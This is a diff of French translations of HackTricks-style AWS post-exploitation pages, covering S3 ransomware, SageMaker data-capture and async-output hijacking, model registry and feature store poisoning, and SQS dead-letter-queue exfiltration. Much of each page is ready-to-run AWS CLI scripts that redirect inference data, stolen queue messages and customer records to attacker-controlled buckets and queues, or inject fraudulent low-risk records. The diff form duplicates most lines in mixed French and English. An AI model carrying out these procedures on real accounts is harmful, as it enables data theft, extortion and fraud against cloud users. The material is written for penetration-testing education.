- Après CREATE DATABASE FROM INTEGRATION, la liste des tables a révélé le schéma ztl et la table customers ; une sélection depuis ztl.customers a retourné 2 lignes (Alice, Bob).
- SVV_INTEGRATION indiquait integration_id 377a462b-c42c-4f08-937b-77fe75d98211 et state PendingDbConnectState avant la création de la DB.
- Après CREATE DATABASE FROM INTEGRATION, la liste des tables a révélé le schema ztl et la table customers ; une sélection depuis ztl.customers a renvoyé 2 lignes (Alice, Bob).
Impact : Exfiltration continue, presque en temps réel, de tables sélectionnées d'Aurora PostgreSQL vers Redshift Serverless contrôlé par l'attaquant, sans utiliser d'identifiants de base de données, de backups, ni d'accès réseau au cluster source.
Impact : exfiltration continue presque en temps réel de tables sélectionnées Aurora PostgreSQL vers Redshift Serverless contrôlé par l'attaquant, sans utiliser les identifiants de la base de données, les backups, ni l'accès réseau au cluster source.
{{#include ../../../../banners/hacktricks-training.md}}

24
src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation/README.md
View File

@@ -1,4 +1,4 @@
# AWS - S3 Post-exploitation
# AWS - S3 Post-Exploitation
{{#include ../../../../banners/hacktricks-training.md}}
@@ -12,30 +12,30 @@ Pour plus d'informations, consultez :
### Informations sensibles
Parfois, vous pourrez trouver des informations sensibles lisibles dans les buckets. Par exemple, des secrets d'état terraform.
Parfois, vous pourrez trouver des informations sensibles lisibles dans les buckets. Par exemple, terraform state secrets.
### Pivoting
Different platforms could be using S3 to store sensitive assets.\
Par exemple, **airflow** pourrait y stocker des **DAGs** **code**, ou des **pages web** pourraient être servies directement depuis S3. Un attaquant disposant de permissions d'écriture pourrait **modifier le code** du bucket pour **pivot** vers d'autres plateformes, ou **takeover accounts** en modifiant des fichiers JS.
Différentes plateformes peuvent utiliser S3 pour stocker des ressources sensibles.
Par exemple, **airflow** pourrait y stocker le **DAGs** **code**, ou des **web pages** pourraient être servies directement depuis S3. Un attaquant disposant d'autorisations d'écriture pourrait **modify the code** depuis le bucket pour **pivot** vers d'autres plateformes, ou **takeover accounts** en modifiant des fichiers JS.
### S3 Ransomware
Dans ce scénario, le **attaquant crée une clé KMS (Key Management Service) dans son propre compte AWS** ou dans un autre compte compromis. Il rend ensuite cette **clé accessible à n'importe qui dans le monde**, permettant à tout utilisateur, rôle ou compte AWS de chiffrer des objets avec cette clé. Cependant, les objets ne peuvent pas être déchiffrés.
Dans ce scénario, l'attaquant crée une **KMS (Key Management Service) key dans son propre compte AWS** ou dans un autre compte compromis. Il rend ensuite cette **key accessible à n'importe quel utilisateur, rôle ou compte dans le monde**, permettant à tout utilisateur, rôle ou compte AWS de chiffrer des objets avec cette key. Cependant, les objets ne peuvent pas être déchiffrés.
L'attaquant identifie un **S3 bucket cible et obtient un accès en écriture** via diverses méthodes. Cela peut être dû à une mauvaise configuration du bucket qui l'expose publiquement ou à l'accès de l'attaquant à l'environnement AWS lui-même. L'attaquant cible généralement des buckets contenant des informations sensibles telles que des informations personnellement identifiables (PII), des informations de santé protégées (PHI), des logs, des sauvegardes, et plus encore.
L'attaquant identifie un bucket S3 cible et obtient un accès en écriture dessus en utilisant diverses méthodes. Cela peut être dû à une mauvaise configuration du bucket qui l'expose publiquement ou à l'accès de l'attaquant à l'environnement AWS lui-même. L'attaquant cible généralement des buckets contenant des informations sensibles telles que des PII, PHI, des logs, des backups, etc.
Pour déterminer si le bucket peut être ciblé par du ransomware, l'attaquant vérifie sa configuration. Cela inclut la vérification si **S3 Object Versioning** est activé et si la **suppression avec authentification multifacteur (MFA delete)** est activée. Si Object Versioning n'est pas activé, l'attaquant peut procéder. Si Object Versioning est activé mais que MFA delete est désactivé, l'attaquant peut **désactiver Object Versioning**. Si à la fois Object Versioning et MFA delete sont activés, il devient plus difficile pour l'attaquant de rançonner ce bucket spécifique.
Pour déterminer si le bucket peut être ciblé pour du ransomware, l'attaquant vérifie sa configuration. Cela inclut la vérification si **S3 Object Versioning** est activé et si **multi-factor authentication delete (MFA delete)** est activé. Si Object Versioning n'est pas activé, l'attaquant peut continuer. Si Object Versioning est activé mais que MFA delete est désactivé, l'attaquant peut **disable Object Versioning**. Si Object Versioning et MFA delete sont tous deux activés, il devient plus difficile pour l'attaquant de chiffrer ce bucket spécifique avec un ransomware.
En utilisant l'API AWS, l'attaquant **remplace chaque objet du bucket par une copie chiffrée utilisant sa clé KMS**. Cela chiffre effectivement les données du bucket, les rendant inaccessibles sans la clé.
En utilisant l'API AWS, l'attaquant **remplace chaque objet dans le bucket par une copie chiffrée utilisant leur KMS key**. Cela chiffre effectivement les données du bucket, les rendant inaccessibles sans la key.
Pour accroître la pression, l'attaquant planifie la suppression de la clé KMS utilisée dans l'attaque. Cela donne à la cible une fenêtre de 7 jours pour récupérer ses données avant que la clé ne soit supprimée et que les données ne deviennent perdues de façon permanente.
Pour mettre davantage de pression, l'attaquant planifie la suppression de la KMS key utilisée dans l'attaque. Cela donne à la cible une fenêtre de 7 jours pour récupérer ses données avant que la key soit supprimée et que les données deviennent définitivement perdues.
Enfin, l'attaquant peut téléverser un fichier final, généralement nommé "ransom-note.txt", contenant des instructions pour la cible sur la manière de récupérer ses fichiers. Ce fichier est téléversé sans chiffrement, probablement pour attirer l'attention de la cible et l'informer de l'attaque de ransomware.
Enfin, l'attaquant peut téléverser un fichier final, généralement nommé "ransom-note.txt", qui contient des instructions pour la cible sur la façon de récupérer ses fichiers. Ce fichier est téléversé sans chiffrement, probablement pour attirer l'attention de la cible et l'informer de l'attaque.
### `s3:RestoreObject`
Un attaquant disposant de l'autorisation s3:RestoreObject peut réactiver des objets archivés dans Glacier ou Deep Archive, les rendant temporairement accessibles. Cela permet la récupération et l'exfiltration de données archivées historiquement (sauvegardes, snapshots, logs, certifications, anciens secrets) qui seraient normalement hors de portée. Si l'attaquant combine cette autorisation avec des permissions de lecture (p.ex., s3:GetObject), il peut obtenir des copies complètes de données sensibles.
Un attaquant disposant de la permission s3:RestoreObject peut réactiver des objets archivés dans Glacier ou Deep Archive, les rendant temporairement accessibles. Cela permet la récupération et l'exfiltration de données historiquement archivées (backups, snapshots, logs, certifications, vieux secrets) qui seraient normalement hors de portée. Si l'attaquant combine cette permission avec des permissions de lecture (par exemple, s3:GetObject), il peut obtenir des copies complètes de données sensibles.
```bash
aws s3api restore-object \
--bucket <BUCKET_NAME> \
@@ -47,7 +47,7 @@ aws s3api restore-object \
```
### `s3:Delete*`
Un attaquant disposant de la permission s3:Delete* peut supprimer des objets, des versions et des buckets entiers, perturber les sauvegardes, et provoquer une perte de données immédiate et irréversible, la destruction de preuves et la compromission d'artefacts de sauvegarde ou de récupération.
Un attaquant disposant de la permission s3:Delete* peut supprimer des objets, des versions et des buckets entiers, perturber les sauvegardes et provoquer une perte de données immédiate et irréversible, la destruction de preuves et la compromission des artefacts de sauvegarde ou de récupération.
```bash
# Delete an object from a bucket
aws s3api delete-object \

70
src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sagemaker-post-exploitation/README.md
View File

@@ -2,18 +2,18 @@
{{#include ../../../../banners/hacktricks-training.md}}
## Siphonnage de données d'endpoint SageMaker via UpdateEndpoint DataCaptureConfig
## Siphonnage des données d'un endpoint SageMaker via UpdateEndpoint DataCaptureConfig
Abuser de la gestion des endpoints SageMaker pour activer la capture complète des requêtes/réponses vers un bucket S3 contrôlé par un attaquant sans toucher au modèle ni au container. Utilise une mise à jour progressive (rolling) à disponibilité zéro/faible et ne nécessite que des permissions de gestion d'endpoint.
Exploiter la gestion des endpoints SageMaker pour activer la capture complète des requêtes/réponses vers un bucket S3 contrôlé par l'attaquant, sans toucher au modèle ni au container. Utilise une mise à jour rolling à zéro ou faible temps d'arrêt et nécessite uniquement les permissions de gestion d'endpoint.
### Prérequis
### Exigences
- IAM: `sagemaker:DescribeEndpoint`, `sagemaker:DescribeEndpointConfig`, `sagemaker:CreateEndpointConfig`, `sagemaker:UpdateEndpoint`
- S3: `s3:CreateBucket` (ou utiliser un bucket existant dans le même compte)
- Optionnel (si utilisation de SSE‑KMS): `kms:Encrypt` sur la CMK choisie
- Cible : un endpoint temps réel InService existant dans le même compte/région
- Cible : un endpoint InService temps réel existant dans le même compte/région
### Étapes
1) Identifier un endpoint InService et récupérer les variantes de production actuelles
1) Identifier un endpoint InService et récupérer les variants de production actuels
```bash
REGION=${REGION:-us-east-1}
EP=$(aws sagemaker list-endpoints --region $REGION --query "Endpoints[?EndpointStatus=='InService']|[0].EndpointName" --output text)
@@ -22,15 +22,15 @@ CFG=$(aws sagemaker describe-endpoint --region $REGION --endpoint-name "$EP" --q
echo "EndpointConfig=$CFG"
aws sagemaker describe-endpoint-config --region $REGION --endpoint-config-name "$CFG" --query ProductionVariants > /tmp/pv.json
```
2) Préparer la destination S3 de l'attacker pour les captures
2) Préparer la destination S3 de l'attaquant pour les captures
```bash
ACC=$(aws sts get-caller-identity --query Account --output text)
BUCKET=ht-sm-capture-$ACC-$(date +%s)
aws s3 mb s3://$BUCKET --region $REGION
```
3) Créez un nouvel EndpointConfig qui conserve les mêmes variants mais active DataCapture vers l'attacker bucket
3) Créez un nouvel EndpointConfig qui conserve les mêmes variants mais active DataCapture vers le bucket de l'attaquant
Remarque : utilisez des types de contenu explicites qui satisfont la validation CLI.
Note : Utilisez des types de contenu explicites qui satisfont la validation de la CLI.
```bash
NEWCFG=${CFG}-dc
cat > /tmp/dc.json << JSON
@@ -54,12 +54,12 @@ aws sagemaker create-endpoint-config \
--production-variants file:///tmp/pv.json \
--data-capture-config file:///tmp/dc.json
```
4) Appliquer la nouvelle config avec un rolling update (minimal/no downtime)
4) Appliquer la nouvelle configuration avec une mise à jour progressive (temps d'arrêt minimal / nul)
```bash
aws sagemaker update-endpoint --region $REGION --endpoint-name "$EP" --endpoint-config-name "$NEWCFG"
aws sagemaker wait endpoint-in-service --region $REGION --endpoint-name "$EP"
```
5) Générez au moins un appel d'inférence (optionnel si du trafic en direct existe)
5) Générer au moins un appel d'inférence (optionnel si du trafic en direct est présent)
```bash
echo '{"inputs":[1,2,3]}' > /tmp/payload.json
aws sagemaker-runtime invoke-endpoint --region $REGION --endpoint-name "$EP" \
@@ -71,34 +71,34 @@ aws sagemaker-runtime invoke-endpoint --region $REGION --endpoint-name "$EP" \
aws s3 ls s3://$BUCKET/capture/ --recursive --human-readable --summarize
```
### Impact
- Exfiltration complète des payloads de requêtes et de réponses d'inference en temps réel (et des métadonnées) depuis l'endpoint ciblé vers un bucket S3 contrôlé par l'attaquant.
- Aucune modification de l'image du model/container et uniquement des changements au niveau de l'endpoint, permettant un vol de données furtif avec une perturbation opérationnelle minimale.
- Exfiltration complète des payloads de requêtes et de réponses d'inférence en temps réel (et des métadonnées) depuis l'endpoint ciblé vers un bucket S3 contrôlé par l'attaquant.
- Aucun changement à l'image model/container et seulement des modifications au niveau endpoint, permettant une voie de vol de données discrète avec une perturbation opérationnelle minimale.
## SageMaker async inference output hijack via UpdateEndpoint AsyncInferenceConfig
Abuse endpoint management to redirect asynchronous inference outputs to an attacker-controlled S3 bucket by cloning the current EndpointConfig and setting AsyncInferenceConfig.OutputConfig S3OutputPath/S3FailurePath. This exfiltrates model predictions (and any transformed inputs included by the container) without modifying the model/container.
Abuser de la gestion des endpoints pour rediriger les sorties d'inférence asynchrone vers un bucket S3 contrôlé par l'attaquant en clonant l'EndpointConfig actuel et en configurant AsyncInferenceConfig.OutputConfig S3OutputPath/S3FailurePath. This exfiltrates model predictions (and any transformed inputs included by the container) without modifying the model/container.
### Prérequis
### Requirements
- IAM: `sagemaker:DescribeEndpoint`, `sagemaker:DescribeEndpointConfig`, `sagemaker:CreateEndpointConfig`, `sagemaker:UpdateEndpoint`
- S3: Capacité d'écriture sur le bucket S3 contrôlé par l'attaquant (via le rôle d'exécution du modèle ou une stratégie de bucket permissive)
- Cible: un endpoint InService où des invocations asynchrones sont (ou seront) utilisées
- S3: Possibilité d'écrire dans le bucket S3 contrôlé par l'attaquant (via le model execution role ou une policy de bucket permissive)
- Target: An InService endpoint where asynchronous invocations are (or will be) used
### Étapes
1) Récupérer les ProductionVariants actuelles depuis l'endpoint ciblé
### Steps
1) Récupérer les ProductionVariants actuels depuis l'endpoint ciblé
```bash
REGION=${REGION:-us-east-1}
EP=<target-endpoint-name>
CUR_CFG=$(aws sagemaker describe-endpoint --region $REGION --endpoint-name "$EP" --query EndpointConfigName --output text)
aws sagemaker describe-endpoint-config --region $REGION --endpoint-config-name "$CUR_CFG" --query ProductionVariants > /tmp/pv.json
```
2) Créez un bucket de l'attaquant (assurez-vous que le rôle d'exécution du modèle peut PutObject dessus)
2) Créez un attacker bucket (assurez-vous que le rôle d'exécution du modèle peut PutObject sur celui-ci)
```bash
ACC=$(aws sts get-caller-identity --query Account --output text)
BUCKET=ht-sm-async-exfil-$ACC-$(date +%s)
aws s3 mb s3://$BUCKET --region $REGION || true
```
3) Cloner EndpointConfig et détourner les sorties AsyncInference vers le attacker bucket
3) Clone EndpointConfig et hijack les sorties AsyncInference vers l'attacker bucket
```bash
NEWCFG=${CUR_CFG}-async-exfil
cat > /tmp/async_cfg.json << JSON
@@ -108,7 +108,7 @@ aws sagemaker create-endpoint-config --region $REGION --endpoint-config-name "
aws sagemaker update-endpoint --region $REGION --endpoint-name "$EP" --endpoint-config-name "$NEWCFG"
aws sagemaker wait endpoint-in-service --region $REGION --endpoint-name "$EP"
```
4) Déclencher une invocation async et vérifier que des objets atterrissent dans attacker S3
4) Déclencher une async invocation et vérifier que les objets sont déposés dans le S3 de l'attaquant
```bash
aws s3 cp /etc/hosts s3://$BUCKET/inp.bin
aws sagemaker-runtime invoke-endpoint-async --region $REGION --endpoint-name "$EP" --input-location s3://$BUCKET/inp.bin >/tmp/async.json || true
@@ -117,21 +117,21 @@ aws s3 ls s3://$BUCKET/async-out/ --recursive || true
aws s3 ls s3://$BUCKET/async-fail/ --recursive || true
```
### Impact
- Redirige les résultats d'inférence asynchrone (et les corps d'erreur) vers un S3 contrôlé par l'attaquant, permettant l'exfiltration furtive des prédictions et potentiellement des entrées pré/post-traitées sensibles produites par le conteneur, sans modifier le code ou l'image du modèle et avec un temps d'arrêt minimal/aucun.
- Redirige les résultats d'inférence asynchrone (et les corps d'erreur) vers un S3 contrôlé par l'attaquant, permettant l'exfiltration clandestine des prédictions et des entrées pré/post-traitées potentiellement sensibles produites par le conteneur, sans modifier le code ou l'image du modèle et avec un temps d'arrêt minimal/aucun.
## SageMaker Model Registry supply-chain injection via CreateModelPackage(Approved)
Si un attaquant peut exécuter CreateModelPackage sur un Model Package Group cible de SageMaker, il peut enregistrer une nouvelle version du modèle qui pointe vers une image de conteneur contrôlée par l'attaquant et la marquer immédiatement Approved. De nombreuses pipelines CI/CD déploient automatiquement les versions Approved des modèles vers des endpoints ou des training jobs, entraînant l'exécution du code de l'attaquant sous les rôles d'exécution du service. L'exposition inter-comptes peut être amplifiée par une politique de ressource ModelPackageGroup permissive.
Si un attaquant peut exécuter CreateModelPackage sur un SageMaker Model Package Group ciblé, il peut enregistrer une nouvelle version du modèle pointant vers une image de conteneur contrôlée par l'attaquant et la marquer immédiatement comme Approved. De nombreux pipelines CI/CD déploient automatiquement les versions de modèle Approved vers des endpoints ou des training jobs, ce qui entraîne l'exécution de code malveillant sous les rôles d'exécution du service. L'exposition inter-comptes peut être amplifiée par une politique de ressource ModelPackageGroup permissive.
### Prérequis
- IAM (minimum to poison an existing group) : `sagemaker:CreateModelPackage` sur le ModelPackageGroup cible
- Optionnel (pour créer un Model Package Group si aucun n'existe) : `sagemaker:CreateModelPackageGroup`
- S3 : Accès en lecture au ModelDataUrl référencé (ou héberger des artefacts contrôlés par l'attaquant)
- Cible : un Model Package Group que l'automatisation en aval surveille pour les versions Approved
### Requirements
- IAM (minimum to poison an existing group): `sagemaker:CreateModelPackage` on the target ModelPackageGroup
- Optional (to create a group if one doesn’t exist): `sagemaker:CreateModelPackageGroup`
- S3: Read access to referenced ModelDataUrl (or host attacker-controlled artifacts)
- Target: A Model Package Group that downstream automation watches for Approved versions
### Étapes
1) Définir la région et créer/trouver un Model Package Group cible
### Steps
1) Set region and create/find a target Model Package Group
```bash
REGION=${REGION:-us-east-1}
MPG=victim-group-$(date +%s)
@@ -145,7 +145,7 @@ aws s3 mb s3://$BUCKET --region $REGION
head -c 1024 </dev/urandom > /tmp/model.tar.gz
aws s3 cp /tmp/model.tar.gz s3://$BUCKET/model/model.tar.gz --region $REGION
```
3) Enregistrer une version de package de modèle Approved malveillante (ici bénigne) faisant référence à une image publique AWS DLC
3) Enregistrer une version Approved d’un model package malveillante (ici bénigne) faisant référence à une image publique AWS DLC
```bash
IMG="683313688378.dkr.ecr.$REGION.amazonaws.com/sagemaker-scikit-learn:1.2-1-cpu-py3"
cat > /tmp/inf.json << JSON
@@ -162,17 +162,17 @@ cat > /tmp/inf.json << JSON
JSON
aws sagemaker create-model-package --region $REGION --model-package-group-name $MPG --model-approval-status Approved --inference-specification file:///tmp/inf.json
```
4) Vérifier que la nouvelle version Approved existe
4) Vérifier que la nouvelle version approuvée existe
```bash
aws sagemaker list-model-packages --region $REGION --model-package-group-name $MPG --output table
```
### Impact
- Empoisonner le Model Registry avec une version Approved qui référence du code contrôlé par l'attaquant. Les pipelines qui déploient automatiquement des modèles Approved peuvent récupérer et exécuter l'image de l'attaquant, entraînant une exécution de code sous les rôles endpoint/training.
- Avec une politique de ressource ModelPackageGroup permissive (PutModelPackageGroupPolicy), cet abus peut être déclenché cross-account.
- Empoisonner le Model Registry avec une version Approved qui référence du code contrôlé par l'attaquant. Les pipelines qui déploient automatiquement les modèles Approved peuvent pull et exécuter l'image de l'attaquant, entraînant une exécution de code avec les rôles endpoint/training.
- Avec une politique de ressource permissive sur ModelPackageGroup (PutModelPackageGroupPolicy), cet abus peut être déclenché cross-account.
## Feature store poisoning
Abuser `sagemaker:PutRecord` sur un Feature Group avec OnlineStore activé pour écraser les valeurs de feature en direct consommées par l'online inference. Combiné avec `sagemaker:GetRecord`, un attaquant peut lire des features sensibles. Cela ne nécessite pas d'accès aux modèles ou aux endpoints.
Abuser de `sagemaker:PutRecord` sur un Feature Group avec OnlineStore activé pour écraser des valeurs de features en direct consommées par l'inference en ligne. Combiné avec `sagemaker:GetRecord`, un attaquant peut lire des features sensibles. Cela ne nécessite pas d'accès aux modèles ou aux endpoints.
{{#ref}}
feature-store-poisoning.md

32
src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sagemaker-post-exploitation/feature-store-poisoning.md
View File

@@ -2,11 +2,11 @@
{{#include ../../../../banners/hacktricks-training.md}}
Exploiter `sagemaker:PutRecord` sur un Feature Group avec OnlineStore activé pour écraser les valeurs de features en direct consommées par l'inférence en temps réel. Combiné avec `sagemaker:GetRecord`, un attaquant peut lire des features sensibles. Cela ne nécessite pas d'accès aux modèles ou aux endpoints.
Exploiter `sagemaker:PutRecord` sur un Feature Group avec OnlineStore activé pour écraser les valeurs de feature en direct consommées par l'inference en ligne. Combiné avec `sagemaker:GetRecord`, un attaquant peut lire des features sensibles. Cela ne nécessite pas d'accès aux modèles ou aux endpoints.
## Exigences
- Autorisations: `sagemaker:ListFeatureGroups`, `sagemaker:DescribeFeatureGroup`, `sagemaker:PutRecord`, `sagemaker:GetRecord`
- Cible: Feature Group avec OnlineStore activé (généralement utilisé pour l'inférence en temps réel)
## Prérequis
- Permissions: `sagemaker:ListFeatureGroups`, `sagemaker:DescribeFeatureGroup`, `sagemaker:PutRecord`, `sagemaker:GetRecord`
- Cible: Feature Group avec OnlineStore activé (généralement supportant l'inférence en temps réel)
- Complexité: **LOW** - Commandes AWS CLI simples, aucune manipulation de modèle requise
## Étapes
@@ -28,9 +28,9 @@ aws sagemaker describe-feature-group \
--region $REGION \
--feature-group-name "$FG"
```
Notez le `RecordIdentifierFeatureName`, le `EventTimeFeatureName` et toutes les définitions de features. Ils sont requis pour créer des enregistrements valides.
Notez le `RecordIdentifierFeatureName`, le `EventTimeFeatureName` et toutes les définitions de features. Ils sont nécessaires pour créer des enregistrements valides.
### Scénario d'attaque 1 : Data Poisoning (Overwrite Existing Records)
### Scénario d'attaque 1: Data Poisoning (Overwrite Existing Records)
1) Lire l'enregistrement légitime actuel
```bash
@@ -63,11 +63,11 @@ aws sagemaker-featurestore-runtime get-record \
--feature-group-name "$FG" \
--record-identifier-value-as-string user-001
```
**Impact** : les modèles ML utilisant cette feature verront désormais `risk_score=0.99` pour un utilisateur légitime, pouvant potentiellement bloquer ses transactions ou services.
**Impact**: Les modèles ML consommant cette feature verront maintenant `risk_score=0.99` pour un utilisateur légitime, potentiellement bloquant leurs transactions ou services.
### Scénario d'attaque 2: Malicious Data Injection (Create Fraudulent Records)
### Scénario d'attaque 2 : Injection de données malveillantes (Créer des enregistrements frauduleux)
Injecter de nouveaux enregistrements avec des features manipulées pour contourner les contrôles de sécurité :
Injecter de nouveaux enregistrements complets avec des features manipulées pour échapper aux contrôles de sécurité :
```bash
NOW=$(date -u +%Y-%m-%dT%H:%M:%SZ)
@@ -84,16 +84,16 @@ aws sagemaker-featurestore-runtime put-record \
]" \
--target-stores OnlineStore
```
Vérifier l'injection :
Vérifiez l'injection :
```bash
aws sagemaker-featurestore-runtime get-record \
--region $REGION \
--feature-group-name "$FG" \
--record-identifier-value-as-string user-999
```
**Impact**: Attacker crée une fausse identité avec un score de risque faible (0.01) capable d'effectuer des transactions frauduleuses à forte valeur sans déclencher la détection de fraude.
**Impact**: L'attaquant crée une fausse identité avec un faible score de risque (0.01) qui peut effectuer des transactions frauduleuses de grande valeur sans déclencher la détection de fraude.
### Scénario d'attaque 3 : Sensitive Data Exfiltration
### Scénario d'attaque 3 : Exfiltration de données sensibles
Lire plusieurs enregistrements pour extraire des caractéristiques confidentielles et profiler le comportement du modèle :
```bash
@@ -106,11 +106,11 @@ aws sagemaker-featurestore-runtime get-record \
--record-identifier-value-as-string ${USER_ID}
done
```
**Impact** : Des attributs confidentiels (scores de risque, schémas de transactions, données personnelles) exposés à un attaquant.
**Impact** : Fonctionnalités confidentielles (scores de risque, schémas de transaction, données personnelles) exposées à un attaquant.
### Création d'un Feature Group de test/démonstration (optionnel)
### Création d'un Feature Group de test/démo (optionnel)
Si vous avez besoin de créer un Feature Group de test :
Si vous devez créer un Feature Group de test :
```bash
REGION=${REGION:-us-east-1}
FG=$(aws sagemaker list-feature-groups --region $REGION --query "FeatureGroupSummaries[?OnlineStoreConfig!=null]|[0].FeatureGroupName" --output text)
@@ -145,4 +145,4 @@ echo "Feature Group ready: $FG"
```
## Références
- [AWS SageMaker Feature Store Documentation](https://docs.aws.amazon.com/sagemaker/latest/dg/feature-store.html)
- [Feature Store Security Best Practices](https://docs.aws.amazon.com/sagemaker/latest/dg/feature-store-security.html)
- [Meilleures pratiques de sécurité pour Feature Store](https://docs.aws.amazon.com/sagemaker/latest/dg/feature-store-security.html)

72
src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-dlq-redrive-exfiltration.md
View File

@@ -1,53 +1,53 @@
# AWS – Exfiltration depuis une SQS DLQ via StartMessageMoveTask
# AWS – SQS DLQ Redrive Exfiltration via StartMessageMoveTask
{{#include ../../../banners/hacktricks-training.md}}
## Description
Abuser des tasks de déplacement de messages SQS pour voler tous les messages accumulés d'une Dead-Letter Queue (DLQ) d'une victime en les redirigeant vers une queue contrôlée par l'attaquant en utilisant `sqs:StartMessageMoveTask`. Cette technique exploite la fonctionnalité légitime de récupération de messages d'AWS pour exfiltrer des données sensibles accumulées dans les DLQ au fil du temps.
Abuser des tâches de déplacement de messages SQS pour voler tous les messages accumulés dans la Dead-Letter Queue (DLQ) d'une victime en les redirigeant vers une queue contrôlée par l'attaquant en utilisant `sqs:StartMessageMoveTask`. Cette technique exploite la fonctionnalité légitime de récupération de messages d'AWS pour exfiltrate des données sensibles qui se sont accumulées dans les DLQs au fil du temps.
## What is a Dead-Letter Queue (DLQ)?
Une Dead-Letter Queue est une queue SQS spéciale où les messages sont automatiquement envoyés lorsqu'ils n'ont pas pu être traités avec succès par l'application principale. Ces messages échoués contiennent souvent :
- Données applicatives sensibles qui n'ont pas pu être traitées
- Détails d'erreur et informations de debug
- Personal Identifiable Information (PII)
- Tokens d'API, identifiants ou autres secrets
- Données transactionnelles critiques pour l'entreprise
Une Dead-Letter Queue est une queue SQS spéciale où les messages sont automatiquement envoyés lorsqu'ils n'ont pas pu être traités correctement par l'application principale. Ces messages échoués contiennent souvent :
- Des données sensibles d'application qui n'ont pas pu être traitées
- Des détails d'erreur et des informations de débogage
- Des informations personnelles identifiables (PII)
- Des API tokens, identifiants, ou d'autres secrets
- Des données de transactions critiques pour le business
Les DLQ servent de "cimetière" pour les messages échoués, ce qui en fait des cibles précieuses puisqu'elles accumulent au fil du temps des données sensibles que les applications n'ont pas su gérer correctement.
Les DLQs jouent le rôle de "cimetière" pour les messages échoués, ce qui en fait des cibles de valeur puisqu'elles accumulent des données sensibles au fil du temps que les applications n'ont pas su traiter correctement.
## Attack Scenario
**Real-world example:**
1. **E-commerce application** traite les commandes clients via SQS
2. **Certaines commandes échouent** (problèmes de paiement, inventaire, etc.) et sont déplacées vers une DLQ
3. **La DLQ s'accumule** pendant des semaines/mois de commandes échouées contenant des données clients : `{"customerId": "12345", "creditCard": "4111-1111-1111-1111", "orderTotal": "$500"}`
4. **L'attaquant obtient** des identifiants AWS avec des permissions SQS
5. **L'attaquant découvre** que la DLQ contient des milliers de commandes échouées avec des données sensibles
6. **Au lieu d'essayer d'accéder aux messages un par un** (lent et évident), l'attaquant utilise `StartMessageMoveTask` pour transférer en masse TOUS les messages vers sa propre queue
7. **L'attaquant extrait** toutes les données historiques sensibles en une seule opération
**Real-world example :**
1. **E-commerce application** traite les commandes client via SQS
2. **Certaines commandes échouent** (problèmes de paiement, inventaire, etc.) et sont déplacées vers un DLQ
3. **Le DLQ s'accumule** pendant des semaines/mois de commandes échouées contenant des données clients : {"customerId": "12345", "creditCard": "4111-1111-1111-1111", "orderTotal": "$500"}
4. **L'attaquant obtient l'accès** aux identifiants AWS avec des permissions SQS
5. **L'attaquant découvre** que le DLQ contient des milliers de commandes échouées avec des données sensibles
6. **Au lieu d'essayer d'accéder aux messages individuellement** (lent et évident), l'attaquant utilise `StartMessageMoveTask` pour transférer en masse TOUS les messages vers sa propre queue
7. **L'attaquant extrait** toutes les données sensibles historiques en une seule opération
## Requirements
- La source doit être configurée comme une DLQ (référencée par au moins une RedrivePolicy de queue).
- Permissions IAM (exécutées en tant que principal compromis de la victime) :
- La queue source doit être configurée comme DLQ (référencée par au moins une RedrivePolicy d'une queue).
- Permissions IAM (exécutées en tant que le principal victime) :
- Sur la DLQ (source) : `sqs:StartMessageMoveTask`, `sqs:GetQueueAttributes`.
- Sur la queue de destination : permission pour livrer des messages (par ex. policy de queue autorisant `sqs:SendMessage` depuis le principal victime). Pour des destinations dans le même compte, cela est généralement autorisé par défaut.
- Sur la queue de destination : permission pour livrer des messages (par ex., policy de queue autorisant `sqs:SendMessage` depuis le principal victime). Pour des destinations dans le même compte, cela est typiquement autorisé par défaut.
- Si SSE-KMS est activé : sur la CMK source `kms:Decrypt`, et sur la CMK de destination `kms:GenerateDataKey`, `kms:Encrypt`.
## Impact
Exfiltration rapide de payloads sensibles accumulés dans les DLQ (événements échoués, PII, tokens, payloads applicatifs) en utilisant les API natives SQS. Fonctionne cross-account si la policy de la queue de destination autorise `SendMessage` depuis le principal victime.
Exfiltrate des payloads sensibles accumulés dans les DLQs (événements échoués, PII, tokens, payloads applicatifs) à grande vitesse en utilisant les APIs natives SQS. Fonctionne cross-account si la policy de la queue de destination permet `SendMessage` depuis le principal victime.
## How to Abuse
- Identifier l'ARN de la DLQ victime et s'assurer qu'elle est bien référencée en tant que DLQ par au moins une queue (n'importe quelle queue convient).
- Identifier l'ARN du DLQ victime et s'assurer qu'il est réellement référencé comme DLQ par une queue (n'importe quelle queue).
- Créer ou choisir une queue de destination contrôlée par l'attaquant et obtenir son ARN.
- Démarrer une task de déplacement de messages depuis la DLQ victime vers votre queue de destination.
- Démarrer une message move task depuis le DLQ victime vers votre queue de destination.
- Surveiller la progression ou annuler si nécessaire.
### CLI Example: Exfiltrating Customer Data from E-commerce DLQ
**Scenario**: Un attaquant a compromis des identifiants AWS et a découvert qu'une application e-commerce utilise SQS avec une DLQ contenant des tentatives de traitement de commandes clientes échouées.
**Scenario**: Un attaquant a compromis des identifiants AWS et a découvert qu'une application e-commerce utilise SQS avec un DLQ contenant des tentatives de traitement de commandes clients échouées.
1) **Discover and examine the victim DLQ**
```bash
@@ -63,7 +63,7 @@ aws sqs get-queue-attributes --queue-url "$VICTIM_DLQ_URL" \
--attribute-names ApproximateNumberOfMessages
# Output might show: "ApproximateNumberOfMessages": "1847"
```
2) **Créer une file d'attente de destination contrôlée par l'attaquant**
2) **Créer une file de destination contrôlée par l'attaquant**
```bash
# Create our exfiltration queue
ATTACKER_Q_URL=$(aws sqs create-queue --queue-name hacker-exfil-$(date +%s) --query QueueUrl --output text)
@@ -115,21 +115,21 @@ echo "Received batch of stolen data..."
echo "$MESSAGES" >> stolen_customer_data.json
done
```
### Notes inter-comptes
- La file de destination doit disposer d'une resource policy autorisant le principal victime à `sqs:SendMessage` (et, si utilisé, les grants/permissions KMS).
### Remarques inter-comptes
- La file de destination doit avoir une resource policy autorisant le principal victime à `sqs:SendMessage` (et, si utilisé, KMS grants/permissions).
## Pourquoi cette attaque est efficace
1. **Fonctionnalité AWS légitime** : Utilise une fonctionnalité intégrée d'AWS, ce qui la rend difficile à détecter comme malveillante
1. **Fonctionnalité AWS légitime** : Utilise des fonctionnalités AWS natives, ce qui la rend difficile à détecter comme malveillante
2. **Opération en masse** : Transfère des milliers de messages rapidement au lieu d'un accès individuel lent
